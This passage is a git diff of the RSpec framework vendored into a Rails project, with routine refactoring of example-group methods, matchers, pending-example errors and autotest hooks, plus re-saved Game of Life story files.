-from = ARGV[0]
-to = ARGV[1]
-t.translate(from, to)
diff --git a/vendor/plugins/rspec/examples/pure/autogenerated_docstrings_example.rb b/vendor/plugins/rspec/examples/pure/autogenerated_docstrings_example.rb
index a4928ef4..a4004f54 100644
--- a/vendor/plugins/rspec/examples/pure/autogenerated_docstrings_example.rb
+++ b/vendor/plugins/rspec/examples/pure/autogenerated_docstrings_example.rb
@@ -5,15 +5,15 @@ require File.dirname(__FILE__) + '/spec_helper'
describe "Examples with no descriptions" do
# description is auto-generated as "should equal(5)" based on the last #should
- it do
+ specify do
3.should equal(3)
5.should equal(5)
end
- it { 3.should be < 5 }
+ specify { 3.should be < 5 }
- it { ["a"].should include("a") }
+ specify { ["a"].should include("a") }
- it { [1,2,3].should respond_to(:size) }
+ specify { [1,2,3].should respond_to(:size) }
end
diff --git a/vendor/plugins/rspec/examples/pure/yielding_example.rb b/vendor/plugins/rspec/examples/pure/yielding_example.rb
new file mode 100644
index 00000000..4f627183
--- /dev/null
+++ b/vendor/plugins/rspec/examples/pure/yielding_example.rb
@@ -0,0 +1,33 @@
+require File.dirname(__FILE__) + '/spec_helper'
+
+class MessageAppender
+
+ def initialize(appendage)
+ @appendage = appendage
+ end
+
+ def append_to(message)
+ if_told_to_yield do
+ message << @appendage
+ end
+ end
+
+end
+
+describe "a message expectation yielding to a block" do
+ it "should yield if told to" do
+ appender = MessageAppender.new("appended to")
+ appender.should_receive(:if_told_to_yield).and_yield
+ message = ""
+ appender.append_to(message)
+ message.should == "appended to"
+ end
+
+ it "should not yield if not told to" do
+ appender = MessageAppender.new("appended to")
+ appender.should_receive(:if_told_to_yield)
+ message = ""
+ appender.append_to(message)
+ message.should == ""
+ end
+end
\ No newline at end of file
diff --git a/vendor/plugins/rspec/examples/stories/game-of-life/behaviour/stories/CellsWithLessThanTwoNeighboursDie.story b/vendor/plugins/rspec/examples/stories/game-of-life/behaviour/stories/CellsWithLessThanTwoNeighboursDie.story
index 35e7bad6..8374e86c 100644
--- a/vendor/plugins/rspec/examples/stories/game-of-life/behaviour/stories/CellsWithLessThanTwoNeighboursDie.story
+++ b/vendor/plugins/rspec/examples/stories/game-of-life/behaviour/stories/CellsWithLessThanTwoNeighboursDie.story
@@ -1,21 +1,21 @@
-Story: cells with less than two neighbours die
-
-As a game producer
-I want cells with less than two neighbours to die
-So that I can illustrate how the game works to people with money
-
-Scenario: cells with zero or one neighbour die
-
-Given the grid looks like
-........
-.XX.XX..
-.XX.....
-....X...
-........
-When the next step occurs
-Then the grid should look like
-........
-.XX.....
-.XX.....
-........
-........
+Story: cells with less than two neighbours die
+
+As a game producer
+I want cells with less than two neighbours to die
+So that I can illustrate how the game works to people with money
+
+Scenario: cells with zero or one neighbour die
+
+Given the grid looks like
+........
+.XX.XX..
+.XX.....
+....X...
+........
+When the next step occurs
+Then the grid should look like
+........
+.XX.....
+.XX.....
+........
+........
diff --git a/vendor/plugins/rspec/examples/stories/game-of-life/behaviour/stories/CellsWithMoreThanThreeNeighboursDie.story b/vendor/plugins/rspec/examples/stories/game-of-life/behaviour/stories/CellsWithMoreThanThreeNeighboursDie.story
index 0bbbc7e1..15a455bb 100644
--- a/vendor/plugins/rspec/examples/stories/game-of-life/behaviour/stories/CellsWithMoreThanThreeNeighboursDie.story
+++ b/vendor/plugins/rspec/examples/stories/game-of-life/behaviour/stories/CellsWithMoreThanThreeNeighboursDie.story
@@ -1,21 +1,21 @@
-Story: cells with more than three neighbours die
-
- As a game producer
- I want cells with more than three neighbours to die
- So that I can show the people with money how we are getting on
-
- Scenario: blink
-
- Given the grid looks like
- .....
- ...XX
- ...XX
- .XX..
- .XX..
- When the next step occurs
- Then the grid should look like
- .....
- ...XX
- ....X
- .X...
- .XX..
+Story: cells with more than three neighbours die
+
+ As a game producer
+ I want cells with more than three neighbours to die
+ So that I can show the people with money how we are getting on
+
+ Scenario: blink
+
+ Given the grid looks like
+ .....
+ ...XX
+ ...XX
+ .XX..
+ .XX..
+ When the next step occurs
+ Then the grid should look like
+ .....
+ ...XX
+ ....X
+ .X...
+ .XX..
diff --git a/vendor/plugins/rspec/examples/stories/game-of-life/behaviour/stories/EmptySpacesWithThreeNeighboursCreateACell.story b/vendor/plugins/rspec/examples/stories/game-of-life/behaviour/stories/EmptySpacesWithThreeNeighboursCreateACell.story
index 405d65d1..cbc248e7 100644
--- a/vendor/plugins/rspec/examples/stories/game-of-life/behaviour/stories/EmptySpacesWithThreeNeighboursCreateACell.story
+++ b/vendor/plugins/rspec/examples/stories/game-of-life/behaviour/stories/EmptySpacesWithThreeNeighboursCreateACell.story
@@ -1,42 +1,42 @@
-Story: Empty spaces with three neighbours create a cell
-
-As a game producer
-I want empty cells with three neighbours to die
-So that I have a minimum feature set to ship
-
-Scenario: the glider
-
-Given the grid looks like
-...X..
-..X...
-..XXX.
-......
-......
-When the next step occurs
-Then the grid should look like
-......
-..X.X.
-..XX..
-...X..
-......
-When the next step occurs
-Then the grid should look like
-......
-..X...
-..X.X.
-..XX..
-......
-When the next step occurs
-Then the grid should look like
-......
-...X..
-.XX...
-..XX..
-......
-When the next step occurs
-Then the grid should look like
-......
-..X...
-.X....
-.XXX..
-......
+Story: Empty spaces with three neighbours create a cell
+
+As a game producer
+I want empty cells with three neighbours to die
+So that I have a minimum feature set to ship
+
+Scenario: the glider
+
+Given the grid looks like
+...X..
+..X...
+..XXX.
+......
+......
+When the next step occurs
+Then the grid should look like
+......
+..X.X.
+..XX..
+...X..
+......
+When the next step occurs
+Then the grid should look like
+......
+..X...
+..X.X.
+..XX..
+......
+When the next step occurs
+Then the grid should look like
+......
+...X..
+.XX...
+..XX..
+......
+When the next step occurs
+Then the grid should look like
+......
+..X...
+.X....
+.XXX..
+......
diff --git a/vendor/plugins/rspec/examples/stories/game-of-life/behaviour/stories/ICanCreateACell.story b/vendor/plugins/rspec/examples/stories/game-of-life/behaviour/stories/ICanCreateACell.story
index 7f328425..88895cb6 100644
--- a/vendor/plugins/rspec/examples/stories/game-of-life/behaviour/stories/ICanCreateACell.story
+++ b/vendor/plugins/rspec/examples/stories/game-of-life/behaviour/stories/ICanCreateACell.story
@@ -1,42 +1,42 @@
-Story: I can create a cell
-
-As a game producer
-I want to create a cell
-So that I can show the grid to people
-
-Scenario: nothing to see here
-
-Given a 3 x 3 game
-Then the grid should look like
-...
-...
-...
-
-Scenario: all on its lonesome
-
-Given a 3 x 3 game
-When I create a cell at 1, 1
-Then the grid should look like
-...
-.X.
-...
-
-Scenario: the grid has three cells
-
-Given a 3 x 3 game
-When I create a cell at 0, 0
-and I create a cell at 0, 1
-and I create a cell at 2, 2
-Then the grid should look like
-XX.
-...
-..X
-
-Scenario: more cells more more
-
-Given the grid has three cells
-When I create a celll at 3, 1
-Then the grid should look like
-XX.
-..X
-..X
+Story: I can create a cell
+
+As a game producer
+I want to create a cell
+So that I can show the grid to people
+
+Scenario: nothing to see here
+
+Given a 3 x 3 game
+Then the grid should look like
+...
+...
+...
+
+Scenario: all on its lonesome
+
+Given a 3 x 3 game
+When I create a cell at 1, 1
+Then the grid should look like
+...
+.X.
+...
+
+Scenario: the grid has three cells
+
+Given a 3 x 3 game
+When I create a cell at 0, 0
+and I create a cell at 0, 1
+and I create a cell at 2, 2
+Then the grid should look like
+XX.
+...
+..X
+
+Scenario: more cells more more
+
+Given the grid has three cells
+When I create a celll at 3, 1
+Then the grid should look like
+XX.
+..X
+..X
diff --git a/vendor/plugins/rspec/examples/stories/game-of-life/behaviour/stories/ICanKillACell.story b/vendor/plugins/rspec/examples/stories/game-of-life/behaviour/stories/ICanKillACell.story
index 4d0eff80..a9cf1ac6 100644
--- a/vendor/plugins/rspec/examples/stories/game-of-life/behaviour/stories/ICanKillACell.story
+++ b/vendor/plugins/rspec/examples/stories/game-of-life/behaviour/stories/ICanKillACell.story
@@ -1,17 +1,17 @@
-Story: I can kill a cell
-
-As a game producer
-I want to kill a cell
-So that when I make a mistake I dont have to start again
-
-Scenario: bang youre dead
-
-Given the grid looks like
-XX.
-.X.
-..X
-When I destroy the cell at 0, 1
-Then the grid should look like
-X..
-.X.
-..X
+Story: I can kill a cell
+
+As a game producer
+I want to kill a cell
+So that when I make a mistake I dont have to start again
+
+Scenario: bang youre dead
+
+Given the grid looks like
+XX.
+.X.
+..X
+When I destroy the cell at 0, 1
+Then the grid should look like
+X..
+.X.
+..X
diff --git a/vendor/plugins/rspec/examples/stories/game-of-life/behaviour/stories/TheGridWraps.story b/vendor/plugins/rspec/examples/stories/game-of-life/behaviour/stories/TheGridWraps.story
index 27f6a9da..aeeede77 100644
--- a/vendor/plugins/rspec/examples/stories/game-of-life/behaviour/stories/TheGridWraps.story
+++ b/vendor/plugins/rspec/examples/stories/game-of-life/behaviour/stories/TheGridWraps.story
@@ -1,53 +1,53 @@
-Story: The grid wraps
-
-As a game player
-I want the grid to wrap
-So that untidy stuff at the edges is avoided
-
-Scenario: crowded in the corners
-
-Given the grid looks like
-X.X
-...
-X.X
-When the next step is taken
-Then the grid should look like
-X.X
-...
-X.X
-
-
-Scenario: the glider returns
-
-Given the glider
-......
-..X...
-.X....
-.XXX..
-......
-When the next step is taken
-and the next step is taken
-and the next step is taken
-and the next step is taken
-Then the grid should look like
-......
-......
-.X....
-X.....
-XXX...
-When the next step is taken
-Then the grid should look like
-.X....
-......
-......
-X.X...
-XX....
-When the next step is taken
-Then the grid should look like
-XX....
-......
-......
-X.....
-X.X...
-
-
+Story: The grid wraps
+
+As a game player
+I want the grid to wrap
+So that untidy stuff at the edges is avoided
+
+Scenario: crowded in the corners
+
+Given the grid looks like
+X.X
+...
+X.X
+When the next step is taken
+Then the grid should look like
+X.X
+...
+X.X
+
+
+Scenario: the glider returns
+
+Given the glider
+......
+..X...
+.X....
+.XXX..
+......
+When the next step is taken
+and the next step is taken
+and the next step is taken
+and the next step is taken
+Then the grid should look like
+......
+......
+.X....
+X.....
+XXX...
+When the next step is taken
+Then the grid should look like
+.X....
+......
+......
+X.X...
+XX....
+When the next step is taken
+Then the grid should look like
+XX....
+......
+......
+X.....
+X.X...
+
+
diff --git a/vendor/plugins/rspec/lib/autotest/discover.rb b/vendor/plugins/rspec/lib/autotest/discover.rb
index 81914c3b..3ac51c13 100644
--- a/vendor/plugins/rspec/lib/autotest/discover.rb
+++ b/vendor/plugins/rspec/lib/autotest/discover.rb
@@ -1,3 +1,3 @@
Autotest.add_discovery do
- "rspec" if File.exist?('spec')
+ "rspec" if File.directory?('spec') && ENV['RSPEC']
end
diff --git a/vendor/plugins/rspec/lib/autotest/rspec.rb b/vendor/plugins/rspec/lib/autotest/rspec.rb
index f27968c2..8baca3f6 100644
--- a/vendor/plugins/rspec/lib/autotest/rspec.rb
+++ b/vendor/plugins/rspec/lib/autotest/rspec.rb
@@ -4,7 +4,7 @@ Autotest.add_hook :initialize do |at|
at.clear_mappings
# watch out: Ruby bug (1.8.6):
# %r(/) != /\//
- at.add_mapping(%r%^spec/.*\.rb$%) { |filename, _|
+ at.add_mapping(%r%^spec/.*_spec.rb$%) { |filename, _|
filename
}
at.add_mapping(%r%^lib/(.*)\.rb$%) { |_, m|
@@ -36,37 +36,11 @@ class Autotest::Rspec < Autotest
end
def make_test_cmd(files_to_test)
- return "#{ruby} -S #{spec_command} #{add_options_if_present} #{files_to_test.keys.flatten.join(' ')}"
+ return '' if files_to_test.empty?
+ return "#{ruby} -S #{files_to_test.keys.flatten.join(' ')} #{add_options_if_present}"
end
def add_options_if_present # :nodoc:
File.exist?("spec/spec.opts") ? "-O spec/spec.opts " : ""
end
-
- # Finds the proper spec command to use. Precendence is set in the
- # lazily-evaluated method spec_commands. Alias + Override that in
- # ~/.autotest to provide a different spec command then the default
- # paths provided.
- def spec_command(separator=File::ALT_SEPARATOR)
- unless defined? @spec_command then
- @spec_command = spec_commands.find { |cmd| File.exists? cmd }
-
- raise RspecCommandError, "No spec command could be found!" unless @spec_command
-
- @spec_command.gsub! File::SEPARATOR, separator if separator
- end
- @spec_command
- end
-
- # Autotest will look for spec commands in the following
- # locations, in this order:
- #
- # * bin/spec
- # * default spec bin/loader installed in Rubygems
- def spec_commands
- [
- File.expand_path(File.join(File.dirname(__FILE__), '..', '..', 'bin', 'spec')),
- File.join(Config::CONFIG['bindir'], 'spec')
- ]
- end
end
diff --git a/vendor/plugins/rspec/lib/spec.rb b/vendor/plugins/rspec/lib/spec.rb
index e33ce8f5..e410666a 100644
--- a/vendor/plugins/rspec/lib/spec.rb
+++ b/vendor/plugins/rspec/lib/spec.rb
@@ -1,10 +1,10 @@
-require 'spec/version'
require 'spec/matchers'
require 'spec/expectations'
require 'spec/example'
require 'spec/extensions'
require 'spec/runner'
require 'spec/adapters'
+require 'spec/version'
if Object.const_defined?(:Test)
require 'spec/interop/test'
@@ -13,19 +13,20 @@ end
module Spec
class << self
def run?
- @run || rspec_options.examples_run?
+ Runner.options.examples_run?
end
def run
return true if run?
- result = rspec_options.run_examples
- @run = true
- result
+ Runner.options.run_examples
end
- attr_writer :run
def exit?
!Object.const_defined?(:Test) || Test::Unit.run?
end
+
+ def spec_command?
+ $0.split('/').last == 'spec'
+ end
end
-end
\ No newline at end of file
+end
diff --git a/vendor/plugins/rspec/lib/spec/adapters/ruby_engine.rb b/vendor/plugins/rspec/lib/spec/adapters/ruby_engine.rb
index a6686de2..edec3b6d 100644
--- a/vendor/plugins/rspec/lib/spec/adapters/ruby_engine.rb
+++ b/vendor/plugins/rspec/lib/spec/adapters/ruby_engine.rb
@@ -11,8 +11,8 @@ module Spec
}
def self.engine
- if const_defined?(:RUBY_ENGINE)
- return RUBY_ENGINE
+ if Object.const_defined?('RUBY_ENGINE')
+ return Object.const_get('RUBY_ENGINE')
else
return 'mri'
end
diff --git a/vendor/plugins/rspec/lib/spec/example/errors.rb b/vendor/plugins/rspec/lib/spec/example/errors.rb
index c6cb2245..5ecdc176 100644
--- a/vendor/plugins/rspec/lib/spec/example/errors.rb
+++ b/vendor/plugins/rspec/lib/spec/example/errors.rb
@@ -1,9 +1,30 @@
module Spec
module Example
class ExamplePendingError < StandardError
+ attr_reader :pending_caller
+
+ def initialize(message=nil)
+ super
+ @pending_caller = caller[2]
+ end
+ end
+
+ class NotYetImplementedError < ExamplePendingError
+ MESSAGE = "Not Yet Implemented"
+ RSPEC_ROOT_LIB = File.expand_path(File.dirname(__FILE__) + "/../..")
+
+ def initialize(backtrace)
+ super(MESSAGE)
+ @pending_caller = pending_caller_from(backtrace)
+ end
+
+ private
+
+ def pending_caller_from(backtrace)
+ backtrace.detect {|line| !line.include?(RSPEC_ROOT_LIB) }
+ end
end
- class PendingExampleFixedError < StandardError
- end
+ class PendingExampleFixedError < StandardError; end
end
end
diff --git a/vendor/plugins/rspec/lib/spec/example/example_group.rb b/vendor/plugins/rspec/lib/spec/example/example_group.rb
index 35997f0c..6f6611c9 100644
--- a/vendor/plugins/rspec/lib/spec/example/example_group.rb
+++ b/vendor/plugins/rspec/lib/spec/example/example_group.rb
@@ -6,9 +6,17 @@ module Spec
extend Spec::Example::ExampleGroupMethods
include Spec::Example::ExampleMethods
- def initialize(defined_description, &implementation)
+ def initialize(defined_description, options={}, &implementation)
+ @_options = options
@_defined_description = defined_description
- @_implementation = implementation
+ @_implementation = implementation || pending_implementation
+ end
+
+ private
+
+ def pending_implementation
+ error = NotYetImplementedError.new(caller)
+ lambda { raise(error) }
end
end
end
diff --git a/vendor/plugins/rspec/lib/spec/example/example_group_methods.rb b/vendor/plugins/rspec/lib/spec/example/example_group_methods.rb
index 561ff62a..7e09e6b9 100644
--- a/vendor/plugins/rspec/lib/spec/example/example_group_methods.rb
+++ b/vendor/plugins/rspec/lib/spec/example/example_group_methods.rb
@@ -14,6 +14,7 @@ module Spec
end
attr_reader :description_text, :description_args, :description_options, :spec_path, :registration_binding_block
+ alias :options :description_options
def inherited(klass)
super
@@ -38,24 +39,30 @@ module Spec
def describe(*args, &example_group_block)
args << {} unless Hash === args.last
if example_group_block
- params = args.last
- params[:spec_path] = eval("caller(0)[1]", example_group_block) unless params[:spec_path]
- if params[:shared]
- SharedExampleGroup.new(*args, &example_group_block)
+ options = args.last
+ options[:spec_path] = eval("caller(0)[1]", example_group_block) unless options[:spec_path]
+ if options[:shared]
+ create_shared_example_group(args, example_group_block)
else
- self.subclass("Subclass") do
- describe(*args)
- module_eval(&example_group_block)
- end
+ create_nested_example_group(args, example_group_block)
end
else
set_description(*args)
- before_eval
- self
end
end
alias :context :describe
-
+
+ def create_shared_example_group(args, example_group_block)
+ SharedExampleGroup.new(*args, &example_group_block)
+ end
+
+ def create_nested_example_group(args, example_group_block)
+ self.subclass("Subclass") do
+ describe(*args)
+ module_eval(&example_group_block)
+ end
+ end
+
# Use this to pull in examples from shared example groups.
# See Spec::Runner for information about shared example groups.
def it_should_behave_like(shared_example_group)
@@ -103,21 +110,24 @@ module Spec
@predicate_matchers ||= {:an_instance_of => :is_a?}
end
- # Creates an instance of Spec::Example::Example and adds
- # it to a collection of examples of the current example group.
- def it(description=nil, &implementation)
- e = new(description, &implementation)
+ # Creates an instance of the current example group class and adds it to
+ # a collection of examples of the current example group.
+ def example(description=nil, options={}, &implementation)
+ e = new(description, options, &implementation)
example_objects << e
e
end
- alias_method :specify, :it
+ alias_method :it, :example
+ alias_method :specify, :example
# Use this to temporarily disable an example.
- def xit(description=nil, opts={}, &block)
+ def xexample(description=nil, opts={}, &block)
Kernel.warn("Example disabled: #{description}")
end
- alias_method :xspecify, :xit
+
+ alias_method :xit, :xexample
+ alias_method :xspecify, :xexample
def run
examples = examples_to_run
@@ -171,7 +181,7 @@ module Spec
def examples #:nodoc:
examples = example_objects.dup
add_method_examples(examples)
- rspec_options.reverse ? examples.reverse : examples
+ Spec::Runner.options.reverse ? examples.reverse : examples
end
def number_of_examples #:nodoc:
@@ -252,11 +262,11 @@ module Spec
def register(®istration_binding_block)
@registration_binding_block = registration_binding_block
- rspec_options.add_example_group self
+ Spec::Runner.options.add_example_group self
end
def unregister #:nodoc:
- rspec_options.remove_example_group self
+ Spec::Runner.options.remove_example_group self
end
def registration_backtrace
@@ -278,8 +288,8 @@ module Spec
private
def dry_run(examples)
examples.each do |example|
- rspec_options.reporter.example_started(example)
- rspec_options.reporter.example_finished(example)
+ Spec::Runner.options.reporter.example_started(example)
+ Spec::Runner.options.reporter.example_finished(example)
end
return true
end
@@ -302,7 +312,7 @@ module Spec
after_all_instance_variables = instance_variables
examples.each do |example_group_instance|
- success &= example_group_instance.execute(rspec_options, instance_variables)
+ success &= example_group_instance.execute(Spec::Runner.options, instance_variables)
after_all_instance_variables = example_group_instance.instance_variable_hash
end
return [success, after_all_instance_variables]
@@ -335,15 +345,15 @@ module Spec
end
def specified_examples
- rspec_options.examples
+ Spec::Runner.options.examples
end
def reporter
- rspec_options.reporter
+ Spec::Runner.options.reporter
end
def dry_run?
- rspec_options.dry_run
+ Spec::Runner.options.dry_run
end
def example_objects
@@ -398,7 +408,7 @@ module Spec
case scope
when :each; before_each_parts
when :all; before_all_parts
- when :suite; rspec_options.before_suite_parts
+ when :suite; Spec::Runner.options.before_suite_parts
end
end
@@ -406,13 +416,10 @@ module Spec
case scope
when :each; after_each_parts
when :all; after_all_parts
- when :suite; rspec_options.after_suite_parts
+ when :suite; Spec::Runner.options.after_suite_parts
end
end
- def before_eval
- end
-
def add_method_examples(examples)
instance_methods.sort.each do |method_name|
if example_method?(method_name)
diff --git a/vendor/plugins/rspec/lib/spec/example/example_methods.rb b/vendor/plugins/rspec/lib/spec/example/example_methods.rb
index d4d716c2..029f57eb 100644
--- a/vendor/plugins/rspec/lib/spec/example/example_methods.rb
+++ b/vendor/plugins/rspec/lib/spec/example/example_methods.rb
@@ -5,11 +5,6 @@ module Spec
extend ModuleReopeningFix
include ModuleInclusionWarnings
-
- PENDING_EXAMPLE_BLOCK = lambda {
- raise Spec::Example::ExamplePendingError.new("Not Yet Implemented")
- }
-
def execute(options, instance_variables)
options.reporter.example_started(self)
set_instance_variables_from_hash(instance_variables)
@@ -18,7 +13,7 @@ module Spec
Timeout.timeout(options.timeout) do
begin
before_example
- run_with_description_capturing
+ eval_block
rescue Exception => e
execution_error ||= e
end
@@ -63,7 +58,11 @@ module Spec
end
def description
- @_defined_description || @_matcher_description || "NO NAME"
+ @_defined_description || ::Spec::Matchers.generated_description || "NO NAME"
+ end
+
+ def options
+ @_options
end
def __full_description
@@ -79,13 +78,8 @@ module Spec
end
end
- def run_with_description_capturing
- begin
- return instance_eval(&(@_implementation || PENDING_EXAMPLE_BLOCK))
- ensure
- @_matcher_description = Spec::Matchers.generated_description
- Spec::Matchers.clear_generated_description
- end
+ def eval_block
+ instance_eval(&@_implementation)
end
def implementation_backtrace
@@ -109,4 +103,4 @@ module Spec
end
end
end
-end
\ No newline at end of file
+end
diff --git a/vendor/plugins/rspec/lib/spec/example/module_inclusion_warnings.rb b/vendor/plugins/rspec/lib/spec/example/module_inclusion_warnings.rb
index c65faf2d..04bb18e6 100644
--- a/vendor/plugins/rspec/lib/spec/example/module_inclusion_warnings.rb
+++ b/vendor/plugins/rspec/lib/spec/example/module_inclusion_warnings.rb
@@ -22,7 +22,8 @@ module Spec
end
end
- def respond_to?(sym)
+ # NOTE - we don't need the second arg, but extenders do: http://www.ruby-doc.org/core/classes/Object.html#M000604
+ def respond_to?(sym, include_private_data=false)
MethodDispatcher.new(self.class.described_module).respond_to?(sym) ? true : super
end
diff --git a/vendor/plugins/rspec/lib/spec/expectations/extensions/object.rb b/vendor/plugins/rspec/lib/spec/expectations/extensions/object.rb
index 2091c294..66dc60e4 100644
--- a/vendor/plugins/rspec/lib/spec/expectations/extensions/object.rb
+++ b/vendor/plugins/rspec/lib/spec/expectations/extensions/object.rb
@@ -27,7 +27,7 @@ module Spec
#
# NOTE that this does NOT support receiver.should != expected.
# Instead, use receiver.should_not == expected
- def should(matcher=:use_operator_matcher, &block)
+ def should(matcher=nil, &block)
ExpectationMatcherHandler.handle_matcher(self, matcher, &block)
end
@@ -50,7 +50,7 @@ module Spec
# => Passes unless (receiver =~ regexp)
#
# See Spec::Matchers for more information about matchers
- def should_not(matcher=:use_operator_matcher, &block)
+ def should_not(matcher=nil, &block)
NegativeExpectationMatcherHandler.handle_matcher(self, matcher, &block)
end
diff --git a/vendor/plugins/rspec/lib/spec/expectations/handler.rb b/vendor/plugins/rspec/lib/spec/expectations/handler.rb
index 2e5f2a62..c5f1efce 100644
--- a/vendor/plugins/rspec/lib/spec/expectations/handler.rb
+++ b/vendor/plugins/rspec/lib/spec/expectations/handler.rb
@@ -2,38 +2,29 @@ module Spec
module Expectations
class InvalidMatcherError < ArgumentError; end
- module MatcherHandlerHelper
- def describe_matcher(matcher)
- matcher.respond_to?(:description) ? matcher.description : "[#{matcher.class.name} does not provide a description]"
- end
- end
-
class ExpectationMatcherHandler
class << self
- include MatcherHandlerHelper
def handle_matcher(actual, matcher, &block)
- if :use_operator_matcher == matcher
- return Spec::Matchers::PositiveOperatorMatcher.new(actual)
- end
+ ::Spec::Matchers.last_should = "should"
+ return Spec::Matchers::PositiveOperatorMatcher.new(actual) if matcher.nil?
unless matcher.respond_to?(:matches?)
raise InvalidMatcherError, "Expected a matcher, got #{matcher.inspect}."
end
match = matcher.matches?(actual, &block)
- ::Spec::Matchers.generated_description = "should #{describe_matcher(matcher)}"
+ ::Spec::Matchers.last_matcher = matcher
Spec::Expectations.fail_with(matcher.failure_message) unless match
+ match
end
end
end
class NegativeExpectationMatcherHandler
class << self
- include MatcherHandlerHelper
def handle_matcher(actual, matcher, &block)
- if :use_operator_matcher == matcher
- return Spec::Matchers::NegativeOperatorMatcher.new(actual)
- end
+ ::Spec::Matchers.last_should = "should not"
+ return Spec::Matchers::NegativeOperatorMatcher.new(actual) if matcher.nil?
unless matcher.respond_to?(:matches?)
raise InvalidMatcherError, "Expected a matcher, got #{matcher.inspect}."
@@ -49,8 +40,9 @@ EOF
)
end
match = matcher.matches?(actual, &block)
- ::Spec::Matchers.generated_description = "should not #{describe_matcher(matcher)}"
+ ::Spec::Matchers.last_matcher = matcher
Spec::Expectations.fail_with(matcher.negative_failure_message) if match
+ match
end
end
end
diff --git a/vendor/plugins/rspec/lib/spec/extensions/main.rb b/vendor/plugins/rspec/lib/spec/extensions/main.rb
index 281cbf87..24a7f94b 100644
--- a/vendor/plugins/rspec/lib/spec/extensions/main.rb
+++ b/vendor/plugins/rspec/lib/spec/extensions/main.rb
@@ -23,7 +23,7 @@ module Spec
raise ArgumentError if args.empty?
raise ArgumentError unless block
args << {} unless Hash === args.last
- args.last[:spec_path] = caller(0)[1]
+ args.last[:spec_path] = File.expand_path(caller(0)[1])
Spec::Example::ExampleGroupFactory.create_example_group(*args, &block)
end
alias :context :describe
@@ -80,23 +80,8 @@ module Spec
raise NameError.new(e.message + "\nThe first argument to share_as must be a legal name for a constant\n")
end
end
-
- private
-
- def rspec_options
- $rspec_options ||= begin; \
- parser = ::Spec::Runner::OptionParser.new(STDERR, STDOUT); \
- parser.order!(ARGV); \
- $rspec_options = parser.options; \
- end
- $rspec_options
- end
-
- def init_rspec_options(options)
- $rspec_options = options if $rspec_options.nil?
- end
end
end
end
-include Spec::Extensions::Main
\ No newline at end of file
+include Spec::Extensions::Main
diff --git a/vendor/plugins/rspec/lib/spec/interop/test/unit/testcase.rb b/vendor/plugins/rspec/lib/spec/interop/test/unit/testcase.rb
index b32a820c..db1a6819 100644
--- a/vendor/plugins/rspec/lib/spec/interop/test/unit/testcase.rb
+++ b/vendor/plugins/rspec/lib/spec/interop/test/unit/testcase.rb
@@ -43,9 +43,12 @@ module Test
end
end
- def initialize(defined_description, &implementation)
+ def initialize(defined_description, options={}, &implementation)
@_defined_description = defined_description
- @_implementation = implementation
+
+ # TODO - examples fail in rspec-rails if we remove "|| pending_implementation"
+ # - find a way to fail without it in rspec's code examples
+ @_implementation = implementation || pending_implementation
@_result = ::Test::Unit::TestResult.new
# @method_name is important to set here because it "complies" with Test::Unit's interface.
@@ -56,6 +59,13 @@ module Test
def run(ignore_this_argument=nil)
super()
end
+
+ private
+
+ def pending_implementation
+ error = Spec::Example::NotYetImplementedError.new(caller)
+ lambda { raise(error) }
+ end
end
end
end
diff --git a/vendor/plugins/rspec/lib/spec/matchers.rb b/vendor/plugins/rspec/lib/spec/matchers.rb
index afae5ae5..16e7eeed 100644
--- a/vendor/plugins/rspec/lib/spec/matchers.rb
+++ b/vendor/plugins/rspec/lib/spec/matchers.rb
@@ -134,10 +134,16 @@ module Spec
#
module Matchers
module ModuleMethods
- attr_accessor :generated_description
+ attr_accessor :last_matcher, :last_should
def clear_generated_description
- self.generated_description = nil
+ self.last_matcher = nil
+ self.last_should = nil
+ end
+
+ def generated_description
+ last_should.nil? ? nil :
+ "#{last_should} #{last_matcher.respond_to?(:description) ? last_matcher.description : 'NO NAME'}"
end
end
diff --git a/vendor/plugins/rspec/lib/spec/matchers/be.rb b/vendor/plugins/rspec/lib/spec/matchers/be.rb
index 2b25b11f..0f94677d 100644
--- a/vendor/plugins/rspec/lib/spec/matchers/be.rb
+++ b/vendor/plugins/rspec/lib/spec/matchers/be.rb
@@ -12,22 +12,19 @@ module Spec
@comparison = ""
end
- def matches?(actual)
- @actual = actual
+ def matches?(given)
+ @given = given
if handling_predicate?
begin
- return @result = actual.__send__(predicate, *@args)
+ return @result = given.__send__(predicate, *@args)
rescue => predicate_error
# This clause should be empty, but rcov will not report it as covered
# unless something (anything) is executed within the clause
rcov_error_report = "http://eigenclass.org/hiki.rb?rcov-0.8.0"
end
- # This supports should_exist > target.exists? in the old world.
- # We should consider deprecating that ability as in the new world
- # you can't write "should exist" unless you have your own custom matcher.
begin
- return @result = actual.__send__(present_tense_predicate, *@args)
+ return @result = given.__send__(present_tense_predicate, *@args)
rescue
raise predicate_error
end
@@ -37,12 +34,12 @@ module Spec
end
def failure_message
- return "expected #{@comparison}#{expected}, got #{@actual.inspect}" unless handling_predicate?
+ return "expected #{@comparison}#{expected}, got #{@given.inspect}" unless handling_predicate?
return "expected #{predicate}#{args_to_s} to return true, got #{@result.inspect}"
end
def negative_failure_message
- return "expected not #{expected}, got #{@actual.inspect}" unless handling_predicate?
+ return "expected not #{expected}, got #{@given.inspect}" unless handling_predicate?
return "expected #{predicate}#{args_to_s} to return false, got #{@result.inspect}"
end
@@ -55,17 +52,17 @@ module Spec
end
def match_or_compare
- return @actual ? true : false if @expected == :satisfy_if
- return @actual == true if @expected == :true
- return @actual == false if @expected == :false
- return @actual.nil? if @expected == :nil
- return @actual < @expected if @less_than
- return @actual <= @expected if @less_than_or_equal
- return @actual >= @expected if @greater_than_or_equal
- return @actual > @expected if @greater_than
- return @actual == @expected if @double_equal
- return @actual === @expected if @triple_equal
- return @actual.equal?(@expected)
+ return @given ? true : false if @expected == :satisfy_if
+ return @given == true if @expected == :true
+ return @given == false if @expected == :false
+ return @given.nil? if @expected == :nil
+ return @given < @expected if @less_than
+ return @given <= @expected if @less_than_or_equal
+ return @given >= @expected if @greater_than_or_equal
+ return @given > @expected if @greater_than
+ return @given == @expected if @double_equal
+ return @given === @expected if @triple_equal
+ return @given.equal?(@expected)
end
def ==(expected)
@@ -192,7 +189,7 @@ module Spec
# should_not be_nil
# should_not be_arbitrary_predicate(*args)
#
- # Given true, false, or nil, will pass if actual is
+ # Given true, false, or nil, will pass if given value is
# true, false or nil (respectively). Given no args means
# the caller should satisfy an if condition (to be or not to be).
#
diff --git a/vendor/plugins/rspec/lib/spec/matchers/be_close.rb b/vendor/plugins/rspec/lib/spec/matchers/be_close.rb
index 7763eb97..888df5a2 100644
--- a/vendor/plugins/rspec/lib/spec/matchers/be_close.rb
+++ b/vendor/plugins/rspec/lib/spec/matchers/be_close.rb
